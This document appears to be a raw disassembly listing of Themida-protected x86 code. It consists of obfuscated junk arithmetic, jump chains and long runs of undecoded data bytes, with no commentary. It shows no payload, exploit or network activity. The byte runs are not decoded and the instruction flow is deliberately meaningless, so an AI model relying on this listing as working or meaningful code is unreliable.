		sub	[esp], edi
		add	dword ptr [esp], 58534AB5h
		add	dword ptr [esp], 74EE4FE0h
		pop	edi
		push	edx
		mov	edx, 21310DA4h
		xor	edx, 5A35371Ah
		add	edx, 35425E12h
		shl	edx, 1
		jmp	loc_560F78
; ---------------------------------------------------------------------------
		dw 815Fh
		dd 11527CC1h, 0E9E92975h, 0FFFFE97Bh, 5DEA015Bh, 4C281h
		dd 9FE90000h, 66FFFF67h, 5324048Bh, 18F168h, 0C416E900h
		dd 0D800FFFFh, 94041904h, 21B6E9h, 24348900h, 5E240CFFh
		dd 8904EC83h, 52B9240Ch, 0E9A2C324h, 1681h, 31241433h
		dd 14332414h, 0C6835C24h, 74FF5604h, 34FF0424h,	0E9515E24h
		dd 0FFFF9EDBh, 5004E5C1h, 4983B951h, 81511394h,	1AE0242Ch
		dd 5587B51h, 7B511AE0h,	2691E959h, 54B1FFFFh, 0C828D72Ch
		dd 8B66D704h, 0C481240Ch, 2, 0F16BE953h, 0BE56FFFFh, 51D34F76h
		dd 0E903EEC1h, 0FFFFC313h, 3A73EE81h, 0DE012F31h, 3A73C681h
		dd 685B2F31h, 6CD3h, 51242C89h,	0EB0C26B9h, 3E9C101h, 4C0DF181h
		dd 0E9811EF3h, 60A24F8h, 5721F181h, 0CD892E9Eh,	51D5F759h
		dd 5A5FB5B9h, 0FFCD0136h, 0B5E92434h, 8B00005Ch, 0E9552434h
		dd 0FFFFDBDEh, 0D2601068h, 8A08E91Fh, 0FF53FFFFh, 8B042474h
		dd 0C481241Ch, 4, 8B24048Fh, 3EE92424h,	5AFFFF54h, 31243433h
		dd 34332434h, 24248B24h, 9C2424D3h, 0FF2295E9h,	68D231FFh
		dd 56E9h, 68240C89h, 0BF6h, 8B241C89h, 0C481240Ch, 4, 89CA8952h
		dd 2EE95AD0h, 54FFFFBCh, 4C18159h, 0E9000000h, 0FFFFC20Eh
		dd 54A2685Ah, 1C890000h, 1DEF6824h, 4890000h, 0C1B75324h
		dd 0B0AFB753h, 5BF8307Dh, 0B75BF828h, 0CEFEE984h, 1C33FFFFh
		dd 241C3124h, 5C241C33h, 5A7768h, 91F0E900h, 5C01FFFFh
		dd 1C8B0424h, 4C48124h,	68000000h, 2D77h, 68243C89h, 465Dh
		dd 0FFE864E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F4E5:				; CODE XREF: Themida_:00563CAAj
		add	esp, 4
		add	esp, 4
		push	ecx
		jmp	loc_551BAD
; ---------------------------------------------------------------------------
		dd 0B32EC105h, 23354845h, 176AF2Fh, 148B58C1h, 4C48324h
		dd 240C875Fh, 6624248Bh, 9C242CD3h, 0FF21D5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F519:				; CODE XREF: Themida_:00554469j
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_561D9E
; ---------------------------------------------------------------------------


loc_55F527:				; CODE XREF: Themida_:00551D0Ej
		mov	ecx, 36FF00BDh
		jmp	loc_5530E1
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4240483h, 8124048Fh,	42404h,	34FF0000h, 0C4815F24h
		dd 4, 35E95150h, 58FFFF46h, 4C181h, 0C870000h, 0D8295C24h
		dd 6B6C68h, 24148900h, 62EE9h
		db 0
; ---------------------------------------------------------------------------


loc_55F56D:				; CODE XREF: Themida_:0055189Fj
		sub	edx, ebp
		pop	ebp
		add	edx, eax
		add	edx, 1BAB10D3h
		sub	edx, 3E3B31C5h
		jmp	loc_566620
; ---------------------------------------------------------------------------
aS_6		db '^é¸!',0
		dd 3EED8100h, 1F95809h,	0C62D5DE8h, 891A7D04h, 24048BC5h
		dd 5104C483h, 241403B9h, 7092E94Eh, 0E3890000h,	4C381h
		dd 0C3810000h, 4, 8B241C87h, 0C872424h,	56D9E924h, 6BBDFFFFh
		dd 29450944h, 2E958C5h,	8BFFFFD4h, 0C483243Ch, 4E6C104h
		dd 0F731FE87h, 0F731FE31h, 0F787D6F7h, 0F5E9FE87h
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F5EF:				; CODE XREF: Themida_:005656F1j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	al, 29h
		jmp	loc_565308
; ---------------------------------------------------------------------------
		dd 4C481h, 0D6870000h, 2A4768h,	24148900h, 766068h, 24348900h
		dd 0FF4A39E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F61D:				; CODE XREF: Themida_:00555416j
		push	edi
		mov	edi, 26DB0F26h
		xchg	ecx, edi
		push	ecx
		xchg	eax, [esp]
		not	eax
		xchg	eax, [esp]
		pop	ecx
		jmp	loc_5622B7
; ---------------------------------------------------------------------------


loc_55F634:				; CODE XREF: Themida_:0055C85Aj
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 2
		mov	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55A36C
; ---------------------------------------------------------------------------
		dd 7D5BEA81h, 3C8B4630h, 1A12E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F666:				; CODE XREF: Themida_:00552722j
		pop	eax
		sub	dl, cl
		pop	ecx
		sub	al, 42h
		add	al, dl
		add	al, 42h
		pop	edx
		push	edx
		jmp	loc_5563C1
; ---------------------------------------------------------------------------
		db 0BBh
		dd 6AB26DBDh, 0F702EBC1h, 0A8EB81DBh, 8171681Bh, 0FE46ABC3h
		dd 4E3C165h, 4C70E9h, 86C28100h, 0E93AF9EEh, 0FFFF6223h
		dd 106968h, 241C8900h, 0B850E389h, 3C3005E7h, 0FFD5DEE9h
		dd 0D7F281FFh, 908123Bh, 196DE9D6h, 0BB530000h,	41D51D7Eh
		dd 0A05C4FBEh, 5BDE315Bh, 685EF131h, 3FACh, 0BF243C89h
		dd 31086C98h, 0FF743AE9h, 5AD000FFh, 8324148Bh,	0C33004C4h
		dd 0FF3EA3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F6F5:				; CODE XREF: Themida_:00561952j
		pop	ebx
		mov	ecx, eax
		jmp	loc_5659D9
; ---------------------------------------------------------------------------
		db 5Fh,	51h, 0E9h
		dd 0FFFFC157h, 83240C8Bh, 348904ECh, 0E9E68924h, 2A85h
		dd 2B04D8F6h, 1AE9C528h, 8BFFFF49h, 0C483241Ch,	5F545704h
		dd 4C781h, 0C7830000h, 243C8704h, 0FFE641E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F739:				; CODE XREF: Themida_:0055EE94j
		sub	[esp], esi
		sub	dword ptr [esp], 29C65DBEh
		pop	esi
		jmp	loc_566D13
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 1Ch
		dd 0F7775F49h, 0BFE957D3h
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F757:				; CODE XREF: Themida_:0055B192j
		shl	esi, 7
		jmp	loc_55C5FB
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FFA8E1E9h, 1F1968FFh, 34890000h, 2A8D6824h,	4890000h
		dd 0F1D2E924h, 9C51FFFFh, 0FF1F6DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F781:				; CODE XREF: Themida_:0055EDD4j
		push	edx
		mov	edx, 1F16C97Ch
		xor	ebp, edx
		pop	edx
		add	ebx, ebp
		mov	ebp, [esp]
		jmp	loc_56026F
; ---------------------------------------------------------------------------


loc_55F794:				; CODE XREF: Themida_:00555B6Fj
		mov	ebp, 6B081EFEh
		sub	edx, ebp
		jmp	loc_562F5D
; ---------------------------------------------------------------------------
		dd 4C481h, 48F0000h, 24248B24h,	0FFEC61E9h, 53555BFFh
		dd 609DE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F7BA:				; CODE XREF: Themida_:005537B9j
		push	0F01h
		mov	[esp], ebp
		jmp	loc_563CD0
; ---------------------------------------------------------------------------
		db 29h
		dd 0FA015BDAh, 3785C281h, 0C2817441h, 23B29FFh,	0FF7F0AE9h
		dd 4BFFFh, 0F8290000h, 2376E95Fh, 0BE56FFFFh, 54917D43h
		dd 8CE9464Eh, 5AFFFF96h, 50F88950h, 3C8B5859h, 0D19E924h
		dd 0FFBA0000h, 29FFFFFFh, 0D5F75AD5h, 0A6F5F581h, 5555F248h
		dd 0C42C4BDh, 0A0C58133h, 4D23295Ch, 0B968DDF7h, 8900004Bh
		dd 9E9243Ch
		db 2Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F833:				; CODE XREF: Themida_:00554B81j
		mov	bh, ah
		pop	eax
		xor	bh, 11h
		jmp	loc_562121
; ---------------------------------------------------------------------------
		dw 6DBAh
		dd 0E948F50Ah, 0FFFFD51Bh, 0E588EA88h, 0E9C5FE58h, 3760h
		dd 0AFE9CB29h, 0B9FFFF97h, 1267523h, 0EDE9CD31h
		db 84h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F867:				; CODE XREF: Themida_:00555AD9j
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_561F30
; ---------------------------------------------------------------------------
		dd 5C243C87h, 909AE951h, 0C781FFFFh, 4,	4C781h,	3C870000h
		dd 0EC835C24h, 241C8904h, 0FF4499E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F89D:				; CODE XREF: Themida_:00561BD0j
		sub	bh, 7Dh
		push	ecx
		jmp	loc_556651
; ---------------------------------------------------------------------------


loc_55F8A6:				; CODE XREF: Themida_:00559B83j
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_555E4C
; ---------------------------------------------------------------------------


loc_55F8B3:				; CODE XREF: Themida_:00560916j
		add	esi, ebx
		jmp	loc_560D9A
; ---------------------------------------------------------------------------
aVs?		db 'Vé!?',0
		align 10h
		dd 4C4835Eh, 4EC8151h, 89000000h, 4832424h, 2EE90424h
		dd 83FFFFC6h, 0BF5704C4h, 4, 835FFA01h,	143302C2h, 24143124h
		dd 790E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F8F1:				; CODE XREF: Themida_:0055C872j
		add	al, 18h
		jmp	loc_552B06
; ---------------------------------------------------------------------------
		dd 55E28952h, 4BDh, 5DEA0100h, 0E904EA83h, 4F43h, 4246C81h
		dd 508B5E41h, 0FF609EE9h, 4C481FFh, 68000000h, 53EEh, 89240C89h
		dd 7CE9E1h, 0C4810000h,	4, 8904EC83h, 51532404h, 7134E9h
		dd 0F9EA8100h, 15C225Eh, 0F9C281F2h, 8B5C225Eh,	9DE92434h
		dd 81FFFF82h, 5B109FC6h, 0E9F2299Ch, 602Bh
; ---------------------------------------------------------------------------


loc_55F964:				; CODE XREF: Themida_:0056237Dj
		sub	eax, 8F88E940h
		sub	esi, eax
		jmp	loc_559B88
; ---------------------------------------------------------------------------
		dd 87170BEh, 0E3895314h, 4C381h, 0EB810000h, 4,	5E91E9h
		dd 0CAEE8100h, 31EEAD1Ch, 0E9315EF5h, 58D9685Dh, 1C890000h
		dd 5959E924h, 0C183FFFFh, 4FE4E902h, 0C181FFFFh, 4, 0C606857h
		dd 97E920A0h, 81FFFF5Fh, 0D70E94EAh, 9A64E96Eh,	433FFFFh
		dd 3C895C24h, 1F0CE924h, 0C2810000h, 0BE86A5D8h, 15AD789h
		dd 243C8BFAh, 81E28952h, 4C2h, 3523E900h, 148B0000h, 22B06824h
		dd 4890000h, 53E08924h,	4BBh, 5BD80100h, 4B951h, 0C8010000h
		dd 74FF5059h, 48B0424h,	0E7895724h, 4BA52h, 0CE90000h
		dd 89FFFFCFh, 0CE3E9E7h, 14890000h, 50BDBA24h, 0D5090D96h
		dd 5A2434FFh, 4C481h, 0E9520000h, 0FFFFFDC2h, 4E7D3EBEh
		dd 5EF2093Ah, 5805CA81h, 0CAE97EDCh
		db 7Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FA57:				; CODE XREF: Themida_:005518F8j
		cmp	eax, edx
		jz	loc_56306A
		push	ebx
		jmp	loc_55BEC3
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 0C2h
		dd 4, 4EA81h, 14870000h, 3DFEE924h, 0EC800000h,	58E52875h
		dd 0FFC03AE9h, 61768FFh, 24890000h, 71CB6824h, 4890000h
		dd 0BF575124h, 2D001295h, 83E9DFF7h
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FAA3:				; CODE XREF: Themida_:005572ACj
		add	edx, 4
		jmp	loc_562892
; ---------------------------------------------------------------------------


loc_55FAAE:				; CODE XREF: Themida_:00558D91j
		add	ebx, ecx
		add	ebx, 57483797h
		pop	ecx
		jmp	loc_55540D
; ---------------------------------------------------------------------------
		dd 5204C483h, 86540368h, 268FE91Dh, 8F5C0000h, 248B2404h
		dd 0C8B70F24h, 0FF626CE9h, 4A142DFFh, 0E9535167h, 0EE1h
		dd 9E9D701h, 81000041h,	4EEh, 24348700h, 6082E95Ch, 0F74A0000h
		dd 0E1E2E9D2h, 19BBFFFFh, 8328E54Eh, 0E38101EBh, 24F82C0Dh
		dd 0D34E9h, 0BB5300h, 57000000h, 0A852E8BFh, 0AAE7816Ah
		dd 81359C6Dh, 5E1748F7h, 0E9FB017Fh, 0FFFFC030h, 8E152F68h
		dd 0EF815F4Bh, 2423B038h, 0FFA6ACE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FB45:				; CODE XREF: Themida_:0055A0C8j
		mov	[esp], ecx
		jmp	loc_55AC8E
; ---------------------------------------------------------------------------


loc_55FB4D:				; CODE XREF: Themida_:0055CB48j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_565A86
; ---------------------------------------------------------------------------


loc_55FB5B:				; CODE XREF: Themida_:0055B266j
		sub	esi, ebx
		push	ecx
		mov	ecx, 50437BDAh
		sub	esi, ecx
		pop	ecx
		pop	ebx
		sub	ebx, esi
		pop	esi
		jmp	loc_55DDBB
; ---------------------------------------------------------------------------


loc_55FB6F:				; CODE XREF: Themida_:0055CAFEj
		sub	ebx, 13A948ACh
		push	dword ptr [eax]
		jmp	loc_5516EE
; ---------------------------------------------------------------------------


loc_55FB7C:				; CODE XREF: Themida_:0055C6B6j
		push	esp
		pop	ebx
		push	edi
		mov	edi, 59126F63h
		sub	edi, 198E079Ch
		or	edi, 3B3F40D7h
		or	edi, 5108799Eh
		jmp	loc_5584DE
; ---------------------------------------------------------------------------
		db 0BAh
		dd 564E2648h, 8E9D029h,	1FFFFA7h, 685E5BDAh, 4174h, 0FF241489h
		dd 0FF042474h, 0A8E92434h, 1FFFF40h, 4055AD0h, 87000000h
		dd 248B2404h, 4C48324h,	0FF8B2FE9h, 4BDFFh, 0EF010000h
		dd 5D2434FFh, 0FFC81AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FBE5:				; CODE XREF: Themida_:0055C784j
		mov	ecx, ebp
		pop	ebp
		mov	esi, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_553BC2
; ---------------------------------------------------------------------------
		dw 5152h
		dd 0A605A2B9h, 41BE567Fh, 815EC54Eh, 730DD5C1h,	81F12975h
		dd 730DD5E9h, 36E95E75h, 5AFFFF64h, 0FF765FE9h,	241C8BFFh
		dd 6604C483h, 2831B551h, 5F53E9EBh, 895CFFFFh, 0D2BB241Ch
		dd 317D793Ch, 0E904245Ch, 0FFFFE8C1h, 24148B66h, 6802C483h
		dd 7EF4h, 2351E9h, 4B53BF00h, 0FB897DB1h, 1FEB815Fh, 83209B58h
		dd 0EBC1FFEBh, 6808h, 4810000h,	0DE3C8624h, 241C2965h
		dd 1F8EE9h
		db 0
; ---------------------------------------------------------------------------


loc_55FC79:				; CODE XREF: Themida_:00566D89j
		pop	edi
		xchg	eax, [esp]
		pop	esp
		add	eax, 0E041054h
		and	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		shr	ecx, 0Bh
		push	1036h
		jmp	loc_55DB7B
; ---------------------------------------------------------------------------


loc_55FC9B:				; CODE XREF: Themida_:0055B3E8j
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5667A0
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 68B17C11h, 4EFCC581h, 35E925D8h
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FCB7:				; CODE XREF: Themida_:005612EEj
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_55FF6E
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 240C8B24h, 56CEE9h
		db 0
; ---------------------------------------------------------------------------


loc_55FCCD:				; CODE XREF: Themida_:00553F91j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_55459A
		push	1640h
		mov	[esp], ecx
		mov	ecx, 28h
		sub	ecx, 35313F98h
		jmp	loc_55700D
; ---------------------------------------------------------------------------


loc_55FCFF:				; CODE XREF: Themida_:00557D2Ej
		not	cl
		jmp	loc_556E95
; ---------------------------------------------------------------------------
		dw 0E959h
		dd 0FFFF7438h, 0F028702Ch, 0FFE8A8E9h, 0F9015BFFh, 240C335Fh
		dd 0FF3F3AE9h, 2454F6FFh, 0FF16E901h, 0C89FFFFh, 0B287E924h
		dd 0D768FFFFh, 0E900006Bh, 0FFFF77E9h, 42474FFh, 24048F5Fh
		dd 8F24248Bh, 505C2404h, 0DF260AB8h, 8BC23114h,	89502404h
		dd 405E0h, 4050000h, 50000000h,	42474FFh, 24048F58h, 197CE95Ch
		dd 2C8BFFFFh, 0E9545124h, 0FFFF43F1h
; ---------------------------------------------------------------------------


loc_55FD7C:				; CODE XREF: Themida_:00552185j
		mov	ebp, 537F26CAh
		sub	ebp, 0CC240C0h
		or	ebp, 70340410h
		and	ebp, 51D7641Fh
		or	ebp, 0CD52A07h
		add	ebp, 49544D4h
		sub	ebp, 0D92C2041h
		add	eax, ebp
		pop	ebp
		mov	edi, eax
		jmp	loc_55B990
; ---------------------------------------------------------------------------
		db 89h
		dd 8952240Ch, 4C281E2h,	83000000h, 148704EAh, 24895C24h
		dd 0EC815024h, 4, 0B9240C89h, 4, 159C889h, 58042444h, 4C18159h
		dd 57000000h, 2BB53h, 5F530000h, 0FFFF24E9h, 0EE8159FFh
		dd 1C7E1318h, 0C681CE01h, 1C7E1318h, 0FFADAEE9h, 7CE681FFh
		dd 81298669h, 0D457DEC6h, 50C6E9FDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FE16:				; CODE XREF: Themida_:00563899j
		pop	ax
		jmp	loc_554891
; ---------------------------------------------------------------------------
		db 0BBh, 4, 0
		dd 0A4E90000h, 0D2FFFF6Fh, 0E99C2424h, 0FFFF18BEh, 0EF81D7F7h
		dd 75BC4494h, 0FF5170E9h, 0ADEE81FFh, 0E960223Fh, 0FFFF77FEh
		dd 15DE829h, 3C8758C7h,	0C3315C24h, 81E28952h, 4ECh, 24048900h
		dd 8904EC83h, 8DB9240Ch, 552FF139h, 0BF4B5BBDh,	69F58103h
		dd 31468D0Eh, 84E95DE9h
		db 72h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FE7F:				; CODE XREF: Themida_:0055EA88j
		mov	esi, 612B282Ah
		push	ecx
		jmp	loc_55EDBD
; ---------------------------------------------------------------------------
		dw 8159h
		dd 1C7FDBC3h, 81F3291Ah, 1C7FDBEBh, 0F3815E1Ah,	9F7E9347h
		dd 0FF3F0DE9h, 4C481FFh, 33000000h, 0F6E92434h,	6600000Eh
		dd 68240C8Bh, 4257h, 89243C89h,	0B5BB53E7h, 68702255h
		dd 2BABh, 0B9240C89h, 69006621h, 0E904E1C1h, 0FFFFA847h
		dd 2414C381h, 0D6823F3h, 0E9000015h, 0FFFFB8B2h, 4BD5559h
		dd 29000000h, 7914E9EAh, 34FFFFFFh, 0C51CE924h,	1A35FFFFh
		dd 0E99CE338h, 0FFFFDFA5h, 875FF801h, 0E95C2404h, 0FFFF61D4h
; ---------------------------------------------------------------------------


loc_55FF18:				; CODE XREF: Themida_:005530E8j
		pop	ecx
		or	ebp, eax
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 759510CAh
		xor	eax, 46D00957h
		xor	eax, 33451999h
		add	edx, eax
		jmp	loc_561D1A
; ---------------------------------------------------------------------------


loc_55FF38:				; CODE XREF: Themida_:005588A8j
		pop	esi
		sub	[esp+4], ecx
		sub	dword ptr [esp+4], 3CB94B22h
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		jmp	loc_562E76
; ---------------------------------------------------------------------------
		db 1
		dd 87005C8h, 0C8B416Bh,	0B8D2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FF6E:				; CODE XREF: Themida_:0055FCBDj
		mov	[esp], esi
		push	4C57h
		mov	[esp], ecx
		push	3508723Eh
		mov	ecx, [esp]
		jmp	loc_55AB79
; ---------------------------------------------------------------------------
		dw 0E2C1h
		dd 0DC28107h, 572A460Ch, 0FF9666E9h, 31B850FFh,	0E961B122h
		dd 0FFFF6A97h
; ---------------------------------------------------------------------------


loc_55FFA0:				; CODE XREF: Themida_:0055B41Fj
		xor	esi, 0AFD6554Fh
		add	edi, esi
		pop	esi
		jmp	loc_55ED9D
; ---------------------------------------------------------------------------


loc_55FFAE:				; CODE XREF: Themida_:00551DDDj
		mov	ecx, 43876D96h
		dec	ecx
		add	ecx, 4A4C0F17h
		neg	ecx
		or	ecx, 2135FD5h
		not	ecx
		jmp	loc_55EEAD
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 87000000h, 0E95C2414h, 0FFFFCF0Ch, 0EB81CB01h, 3F910B8Fh
		dd 4D44E9h, 4C28100h, 0E9000000h, 2AFDh, 4C181h, 0C1810000h
		dd 4, 4291E9h, 8BCF0900h, 0C483240Ch, 0ECEF8104h, 0C15DBB5Bh
		dd 0F78103E7h, 0A91734AEh, 0F5453C05h, 2DF8290Ah, 0AF5453Ch
		dd 43BEE9h
		db 0
; ---------------------------------------------------------------------------


loc_560029:				; CODE XREF: Themida_:0056662Aj
		add	edx, 4
		jmp	loc_554013
; ---------------------------------------------------------------------------
		dd 54243489h, 5324348Bh, 5404EC83h, 5324048Fh, 4BBh, 245C0100h
		dd 565B5B04h, 4BEh, 8BF30100h, 0C4812434h, 4, 4BE56h, 0F3010000h
		dd 4EC835Eh, 0FF241C89h, 8B042474h, 0C483241Ch,	24048F04h
		dd 0FFC352E9h, 241433FFh, 0F624248Bh, 0B60F66E1h, 566866CCh
		dd 0C896600h, 0B60F6624h, 9C5166C8h, 0FF164DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5600A1:				; CODE XREF: Themida_:00554808j
		mov	edx, [esp]
		jmp	loc_5640F8
; ---------------------------------------------------------------------------
		db 5Eh,	81h, 0EFh
		dd 4, 2474FF57h, 48F5F04h, 4DE95C24h, 81FFFF75h, 4C5h
		dd 4C58100h, 55000000h,	42474FFh, 0D889E95Dh, 0EE81FFFFh
		dd 0E881E90h, 0FF3BABE9h, 3B02BAFFh, 0C5812413h, 6A9326CBh
		dd 0ED81D501h, 6A9326CBh, 0E9E8295Ah, 0FFFF3E34h, 4C481h
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edi
		push	7C03h
		mov	[esp], eax
		push	6BBE69A4h
		pop	eax
		and	eax, 5BBA2CDCh
		dec	eax
		not	eax
		sub	eax, 0B445D778h
		mov	edi, eax
		pop	eax
		push	edi
		jmp	loc_55E8E6
; ---------------------------------------------------------------------------


loc_560141:				; CODE XREF: Themida_:00560708j
		mov	eax, 4
		add	edi, eax
		pop	eax
		xchg	edi, [esp]
		pop	esp
		add	ebx, 61278BEh
		not	ebx
		xchg	edx, ebx
		inc	edx
		push	ebx
		push	edx
		pop	ebx
		pop	edx
		jmp	loc_557487
; ---------------------------------------------------------------------------
		db 0F6h, 1Ch, 24h
		dd 1584E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56016A:				; CODE XREF: Themida_:00565A3Aj
		pop	edx
		jmp	loc_56691F
; ---------------------------------------------------------------------------
		dd 8105E7C1h, 3172EAE7h, 0C4C78116h, 81EDCEBFh,	0D066AC6h
		dd 81FE2963h, 0D066AEEh, 243C8B63h, 8704C483h, 248B2434h
		dd 48F5424h, 12626824h,	2C890000h, 4BD24h, 6C810000h, 7CF80424h
		dd 6C0153F8h, 0A3E90424h
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5601BB:				; CODE XREF: Themida_:00553992j
		mov	ebp, 87B523Ah
		jmp	loc_5564C3
; ---------------------------------------------------------------------------


loc_5601C5:				; CODE XREF: Themida_:00556EA4j
		mov	bl, 0D2h
		or	bl, 0A7h
		push	eax
		mov	al, 70h
		sub	al, 51h
		neg	al
		dec	al
		not	al
		shl	al, 5
		xor	al, 11h
		sub	bl, al
		pop	eax
		jmp	loc_565E4C
; ---------------------------------------------------------------------------


loc_5601E2:				; CODE XREF: Themida_:0055A7F9j
		push	edi
		mov	edi, 69F55B94h
		add	edi, 6C504154h
		not	edi
		shr	edi, 1
		sub	edi, 9A450B38h
		jmp	loc_551D09
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 4C481h, 92E90000h, 0AD000049h, 49BD5552h, 814EF530h
		dd 284F25CDh, 4ED4680Dh, 14890000h, 13A5BA24h, 0EAC10190h
		dd 6EAC102h, 0BD21C281h, 0D5296AEFh, 0FF6050E9h, 0E9EB01FFh
		dd 0FFFF3F55h
; ---------------------------------------------------------------------------


loc_560240:				; CODE XREF: Themida_:00559942j
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ecx
		push	eax
		mov	eax, 3413CE2h
		not	eax
		jmp	loc_561E79
; ---------------------------------------------------------------------------


loc_560257:				; CODE XREF: Themida_:00553F06j
		xchg	ecx, [esp]
		pop	esp
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		push	2247h
		jmp	loc_55CDF8
; ---------------------------------------------------------------------------


loc_56026F:				; CODE XREF: Themida_:0055F78Fj
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		sub	[esp], al
		pushf
		jmp	loc_5516EE
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 1, 68FFC683h, 2145h,	0BA241489h, 308C21D2h, 3C01F281h
		dd 0D609651Fh, 8124148Bh, 4C4h,	86EE8100h, 9679E16Dh, 0C631D0F7h
		dd 68E9E9h, 500F0400h, 405E089h, 57000000h, 0FFF50CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5602D1:				; CODE XREF: Themida_:00559274j
		add	esi, 0FE000D64h
		sub	edx, 8F43BB4h
		add	edx, 64F616B5h
		add	edx, esi
		sub	edx, 64F616B5h
		add	edx, 8F43BB4h
		jmp	loc_55DDD5
; ---------------------------------------------------------------------------


loc_5602F6:				; CODE XREF: Themida_:00565E73j
		sub	edi, ebp
		pop	ebp
		push	dword ptr [esp]
		jmp	loc_55C0F9
; ---------------------------------------------------------------------------
		db 5Ch,	0E9h, 9
		dd 66FFFF49h, 66240C33h, 66240C31h, 6866D1F7h, 896649FCh
		dd 0EBE9240Ch, 0BFFFFF1Dh, 4, 835FFB01h, 1C8704C3h, 24248B24h
		dd 51A8B850h, 1605553Fh, 4869C72Bh, 0FFFFBA52h,	0D001FFFFh
		dd 8124148Bh, 4C4h, 42D4800h, 31A7DB22h, 0E7C158C7h, 5E78103h
		dd 814F1454h, 3FFEEFh, 4EC814Ch, 89000000h, 5F58243Ch
		dd 6434E9h, 241C8900h, 56A6E9h,	8BD30100h, 6DE92414h, 81FFFF24h
		dd 0C0042444h, 81442B34h, 41042444h, 81508B5Eh,	6E042444h
		dd 1390361h, 8104245Ch,	6E04246Ch, 0E9390361h, 0FFFFF55Ch
		dd 5E243429h, 8103E6C1h, 373937EEh, 0FEE95215h,	5A00000Fh
		dd 30E9C229h, 0BBFFFF2Dh, 2450305Dh, 255BD821h,	34CC67A8h
		dd 8D172805h, 0D5EE8102h, 0E9550847h, 1227h
; ---------------------------------------------------------------------------


loc_5603E8:				; CODE XREF: Themida_:0055D564j
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55386D
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 3CBB5352h, 89377E5Ah, 0D3895BDAh, 81EBD15Ah,	0FDF33FC3h
		dd 8C06E9F5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560412:				; CODE XREF: Themida_:0055377Bj
		and	eax, ebx
		pop	ebx
		jmp	loc_55734E
; ---------------------------------------------------------------------------
		dw 2C33h
		dd 0B9E95C24h
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560423:				; CODE XREF: Themida_:0055C714j
		mov	eax, [esp]
		push	eax
		jmp	loc_56203F
; ---------------------------------------------------------------------------
		dd 2CEF68h, 24348900h, 0C681E689h, 4, 4C685557h, 5D5F433Bh
		dd 0BCC4B8BFh, 8BEF01A0h, 0C483242Ch, 0E91EE904h, 3C33FFFFh
		dd 243C3124h, 5C243C33h, 0E99CC138h, 0FFFF1286h, 53E9C701h
		dd 87FFFFD4h, 895C2434h, 1AB5240Ch, 22CE6866h, 24148966h
		dd 0BDB05066h, 8B66C688h, 0C4832404h, 66F53002h, 0C546E95Ah
		dd 0EA29FFFFh, 32962D5Dh, 0D0012575h, 35BDE9h, 4C48300h
